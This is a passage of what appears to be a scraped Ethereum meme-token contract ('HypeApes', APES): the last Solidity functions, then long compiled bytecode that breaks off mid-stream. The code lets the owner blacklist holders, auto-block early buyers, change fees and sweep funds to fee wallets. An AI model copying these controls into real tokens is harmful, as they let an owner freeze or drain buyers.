function isBot(address ad) public view returns (bool) { return _bots[ad]; } function manualswap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); manualSwapTokensForEth(contractBalance); } function manualsend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner() { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; } }
0x6080604052600436106101f25760003560e01c80637a845ece1161010d578063c1187569116100a0578063cf0848f71161006f578063cf0848f7146106a2578063db92dbb6146106cb578063dd62ed3e146106f6578063de30aad114610733578063f53bc8351461075c576101f9565b8063c118756914610622578063c3c8cd801461064b578063c4081a4c14610662578063c9567bf91461068b576101f9565b806395d89b41116100dc57806395d89b41146105685780639a7a23d614610593578063a9059cbb146105bc578063b515566a146105f9576101f9565b80637a845ece146104c25780638705fcd4146104eb5780638da5cb5b146105145780638ee88c531461053f576101f9565b80633bbac579116101855780635d098b38116101545780635d098b381461042e5780636fc3eaec1461045757806370a082311461046e578063715018a6146104ab576101f9565b80633bbac57914610376578063437823ec146103b357806346860698146103dc5780634b740b1614610405576101f9565b806323b872dd116101c157806323b872dd146102ba578063273123b7146102f757806327f3a72a14610320578063313ce5671461034b576101f9565b806306fdde03146101fe578063095ea7b31461022957806312dfbd331461026657806318160ddd1461028f576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b50610213610785565b6040516102209190614b75565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b9190614545565b6107c2565b60405161025d9190614b31565b60405180910390f35b34801561027257600080fd5b5061028d6004803603810190610288919061462c565b6107e0565b005b34801561029b57600080fd5b506102a461087f565b6040516102b19190614dd7565b60405180910390f35b3480156102c657600080fd5b506102e160048036038101906102dc91906144b2565b610890565b6040516102ee9190614b31565b60405180910390f35b34801561030357600080fd5b5061031e600480360381019061031991906143eb565b610969565b005b34801561032c57600080fd5b50610335610a59565b6040516103429190614dd7565b60405180910390f35b34801561035757600080fd5b50610360610a69565b60405161036d9190614e83565b60405180910390f35b34801561038257600080fd5b5061039d600480360381019061039891906143eb565b610a72565b6040516103aa9190614b31565b60405180910390f35b3480156103bf57600080fd5b506103da60048036038101906103d59190614445565b610ac8565b005b3480156103e857600080fd5b5061040360048036038101906103fe919061462c565b610bb8565b005b34801561041157600080fd5b5061042c600480360381019061042791906145d2565b610c9b565b005b34801561043a57600080fd5b5061045560048036038101906104509190614445565b610d4d565b005b34801561046357600080fd5b5061046c610ef8565b005b34801561047a57600080fd5b50610495600480360381019061049091906143eb565b610f9e565b6040516104a29190614dd7565b60405180910390f35b3480156104b757600080fd5b506104c0610fef565b005b3480156104ce57600080fd5b506104e960048036038101906104e4919061462c565b611142565b005b3480156104f757600080fd5b50610512600480360381019061050d9190614445565b611232565b005b34801561052057600080fd5b506105296113dd565b6040516105369190614a63565b60405180910390f35b34801561054b57600080fd5b506105666004803603810190610561919061462c565b611406565b005b34801561057457600080fd5b5061057d6114fa565b60405161058a9190614b75565b60405180910390f35b34801561059f57600080fd5b506105ba60048036038101906105b59190614505565b611537565b005b3480156105c857600080fd5b506105e360048036038101906105de9190614545565b61166b565b6040516105f09190614b31565b60405180910390f35b34801561060557600080fd5b50610620600480360381019061061b9190614585565b611689565b005b34801561062e57600080fd5b50610649600480360381019061064491906145d2565b6118c3565b005b34801561065757600080fd5b50610660611974565b005b34801561066e57600080fd5b506106896004803603810190610684919061462c565b611a22565b005b34801561069757600080fd5b506106a0611b05565b005b3480156106ae57600080fd5b506106c960048036038101906106c49190614445565b6120ac565b005b3480156106d757600080fd5b506106e061219c565b6040516106ed9190614dd7565b60405180910390f35b34801561070257600080fd5b5061071d60048036038101906107189190614472565b6121ce565b60405161072a9190614dd7565b60405180910390f35b34801561073f57600080fd5b5061075a600480360381019061075591906145d2565b612255565b005b34801561076857600080fd5b50610783600480360381019061077e919061462c565b612307565b005b60606040518060400160405280600881526020017f4879706541706573000000000000000000000000000000000000000000000000815250905090565b60006107d66107cf6123a6565b84846123ae565b6001905092915050565b6107e86123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086c90614cd7565b60405180910390fd5b8060098190555050565b6000683635c9adc5dea00000905090565b600061089d848484612579565b61095e846108a96123a6565b610959856040518060600160405280602881526020016156d260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061090f6123a6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461316a9092919063ffffffff16565b6123ae565b600190509392505050565b6109716123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f590614cd7565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000610a6430610f9e565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610ad06123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5490614cd7565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610bc06123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4490614cd7565b60405180910390fd5b600a811115610c91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8890614c57565b60405180910390fd5b8060108190555050565b610ca36123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2790614cd7565b60405180910390fd5b80601660186101000a81548160ff02191690831515021790555050565b610d556123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990614cd7565b60405180910390fd5b600060056000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610f006123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8490614cd7565b60405180910390fd5b6000479050610f9b816131ce565b50565b6000610fe8600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613374565b9050919050565b610ff76123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611084576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107b90614cd7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61114a6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ce90614cd7565b60405180910390fd5b600081101580156111e9575060648111155b611228576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161121f90614d17565b60405180910390fd5b80600d8190555050565b61123a6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112be90614cd7565b60405180910390fd5b600060056000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61140e6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461149b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149290614cd7565b60405180910390fd5b6000600c54101580156114b157506064600c5411155b6114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e790614c97565b60405180910390fd5b80600c8190555050565b60606040518060400160405280600481526020017f4150455300000000000000000000000000000000000000000000000000000000815250905090565b61153f6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c390614cd7565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561165d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165490614c37565b60405180910390fd5b61166782826133e2565b5050565b600061167f6116786123a6565b8484612579565b6001905092915050565b6116916123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461171e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171590614cd7565b60405180910390fd5b60005b828290508110156118be57601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683838381811061177857611777615166565b5b905060200201602081019061178d91906143eb565b73ffffffffffffffffffffffffffffffffffffffff16141580156118265750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168383838181106117f8576117f7615166565b5b905060200201602081019061180d91906143eb565b73ffffffffffffffffffffffffffffffffffffffff1614155b156118ab5760016006600085858581811061184457611843615166565b5b905060200201602081019061185991906143eb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806118b6906150bf565b915050611721565b505050565b6118cb6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611958576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194f90614cd7565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b61197c6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0090614cd7565b60405180910390fd5b6000611a1430610f9e565b9050611a1f8161343d565b50565b611a2a6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae90614cd7565b60405180910390fd5b6005811115611afb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af290614c77565b60405180910390fd5b80600a8190555050565b611b0d6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9190614cd7565b60405180910390fd5b601660149054906101000a900460ff1615611bea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be190614d97565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611c7a30601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006123ae565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc057600080fd5b505afa158015611cd4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf89190614418565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d5a57600080fd5b505afa158015611d6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d929190614418565b6040518363ffffffff1660e01b8152600401611daf929190614a7e565b602060405180830381600087803b158015611dc957600080fd5b505af1158015611ddd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e019190614418565b601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611e8a30610f9e565b600080611e956113dd565b426040518863ffffffff1660e01b8152600401611eb796959493929190614ad0565b6060604051808303818588803b158015611ed057600080fd5b505af1158015611ee4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611f099190614659565b505050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611fab929190614aa7565b602060405180830381600087803b158015611fc557600080fd5b505af1158015611fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ffd91906145ff565b506001601660146101000a81548160ff021916908315150217905550600160176000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555043600e819055506722b1c8c1227a0000600f8190555050565b6120b46123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612141576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213890614cd7565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006121c9601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f9e565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61225d6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e190614cd7565b60405180910390fd5b80601660156101000a81548160ff02191690831515021790555050565b61230f6123a6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461239c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239390614cd7565b60405180910390fd5b80600f8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561241e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161241590614d77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561248e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248590614bf7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161256c9190614dd7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156125e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e090614d57565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612659576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161265090614bb7565b60405180910390fd5b6000811161269c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161269390614cf7565b60405180910390fd5b6126a46113dd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561271257506126e26113dd565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612fcb57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156127bb5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6127c457600080fd5b6004600e546127d39190614efe565b43116129f357601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156128855750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156128e7576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506129f2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156129935750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156129f1576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015612a9e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612af45750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612d8c57601660149054906101000a900460ff16612b48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b3f90614db7565b60405180910390fd5b612b996064612b8b6019612b7d601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f9e565b6136c590919063ffffffff16565b61374090919063ffffffff16565b8110612bb9576006601054612bae9190614fdf565b600b81905550612ca7565b612c0a6064612bfc600f612bee601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f9e565b6136c590919063ffffffff16565b61374090919063ffffffff16565b8110612c2a576004601054612c1f9190614fdf565b600b81905550612ca6565b612c7b6064612c6d6005612c5f601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f9e565b6136c590919063ffffffff16565b61374090919063ffffffff16565b8110612c9b576002601054612c909190614fdf565b600b81905550612ca5565b601054600b819055505b5b5b6000612cb283610f9e565b9050612ce56064612cd7600d54683635c9adc5dea000006136c590919063ffffffff16565b61374090919063ffffffff16565b612cf8828461378a90919063ffffffff16565b1115612d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3090614d37565b60405180910390fd5b6000600f541115612d8a57600f54821115612d89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8090614b97565b60405180910390fd5b5b505b6000612d9730610f9e565b9050601660179054906101000a900460ff16158015612e045750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015612e1c5750601660149054906101000a900460ff165b15612fc957612e726064612e646019612e56601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f9e565b6136c590919063ffffffff16565b61374090919063ffffffff16565b8210612e9257601e601054612e879190614efe565b600b81905550612f80565b612ee36064612ed5600f612ec7601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f9e565b6136c590919063ffffffff16565b61374090919063ffffffff16565b8210612f0357600f601054612ef89190614efe565b600b81905550612f7f565b612f546064612f466005612f38601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f9e565b6136c590919063ffffffff16565b61374090919063ffffffff16565b8210612f74576005601054612f699190614efe565b600b81905550612f7e565b601054600b819055505b5b5b600954811115612fc857601660159054906101000a900460ff16612fa45760095490505b6000600c541115612fbd57612fb8816137e8565b612fc7565b612fc68161395a565b5b5b5b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806130725750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806130895750601660189054906101000a900460ff165b1561309357600090505b60168054906101000a900460ff161580156130f85750601760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561314e5750601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561315857600090505b613164848484846139b5565b50505050565b60008383111582906131b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131a99190614b75565b60405180910390fd5b50600083856131c19190614fdf565b9050809150509392505050565b6000601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16613230600a6132226003866136c590919063ffffffff16565b61374090919063ffffffff16565b60405161323c90614a4e565b60006040518083038185875af1925050503d8060008114613279576040519150601f19603f3d011682016040523d82523d6000602084013e61327e565b606091505b505090506000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166132e4600a6132d66007876136c590919063ffffffff16565b61374090919063ffffffff16565b6040516132f090614a4e565b60006040518083038185875af1925050503d806000811461332d576040519150601f19603f3d011682016040523d82523d6000602084013e613332565b606091505b505090507fc45e9b3ac19bf635feaed560109cb8931031fbbc86809d50d65d41a2cf2fe8b98282604051613367929190614b4c565b60405180910390a1505050565b60006007548211156133bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133b290614bd7565b60405180910390fd5b60006133c56139e2565b90506133da818461374090919063ffffffff16565b915050919050565b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6001601660176101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561347557613474615195565b5b6040519080825280602002602001820160405280156134a35781602001602082028036833780820191505090505b50905030816000815181106134bb576134ba615166565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561355d57600080fd5b505afa158015613571573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135959190614418565b816001815181106135a9576135a8615166565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061361030601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846123ae565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613674959493929190614df2565b600060405180830381600087803b15801561368e57600080fd5b505af11580156136a2573d6000803e3d6000fd5b50505050506000601660176101000a81548160ff02191690831515021790555050565b6000808314156136d8576000905061373a565b600082846136e69190614f85565b90508284826136f59190614f54565b14613735576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161372c90614cb7565b60405180910390fd5b809150505b92915050565b600061378283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613a0d565b905092915050565b60008082846137999190614efe565b9050838110156137de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137d590614c17565b60405180910390fd5b8091505092915050565b6001601660176101000a81548160ff0219169083151502179055506000600c5460646138149190614fdf565b905060006138406064613832600c54866136c590919063ffffffff16565b61374090919063ffffffff16565b9050600061385860028361374090919063ffffffff16565b9050600061386f8286613a7090919063ffffffff16565b9050600047905061387f82613aba565b60006138948247613a7090919063ffffffff16565b905060006138be60646138b089856136c590919063ffffffff16565b61374090919063ffffffff16565b90506138c9816131ce565b600081836138d79190614fdf565b90506000861180156138e95750600081115b15613934576138f88682613d0c565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56185828960405161392b93929190614e4c565b60405180910390a15b50505050505050506000601660176101000a81548160ff02191690831515021790555050565b6001601660176101000a81548160ff02191690831515021790555061397e81613aba565b6000479050600081111561399657613995476131ce565b5b506000601660176101000a81548160ff02191690831515021790555050565b806139c3576139c2613e00565b5b6139ce848484613e43565b806139dc576139db61400e565b5b50505050565b60008060006139ef614022565b91509150613a06818361374090919063ffffffff16565b9250505090565b60008083118290613a54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613a4b9190614b75565b60405180910390fd5b5060008385613a639190614f54565b9050809150509392505050565b6000613ab283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061316a565b905092915050565b6000600267ffffffffffffffff811115613ad757613ad6615195565b5b604051908082528060200260200182016040528015613b055781602001602082028036833780820191505090505b5090503081600081518110613b1d57613b1c615166565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613bbf57600080fd5b505afa158015613bd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613bf79190614418565b81600181518110613c0b57613c0a615166565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613c7230601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846123ae565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613cd6959493929190614df2565b600060405180830381600087803b158015613cf057600080fd5b505af1158015613d04573d6000803e3d6000fd5b505050505050565b613d3930601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846123ae565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613d856113dd565b426040518863ffffffff1660e01b8152600401613da796959493929190614ad0565b6060604051808303818588803b158015613dc057600080fd5b505af1158015613dd4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613df99190614659565b5050505050565b6000600a54148015613e1457506000600b54145b15613e1e57613e41565b600a54601181905550600b546012819055506000600a819055506000600b819055505b565b600080600080600080613e5587614084565b955095509550955095509550613eb386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff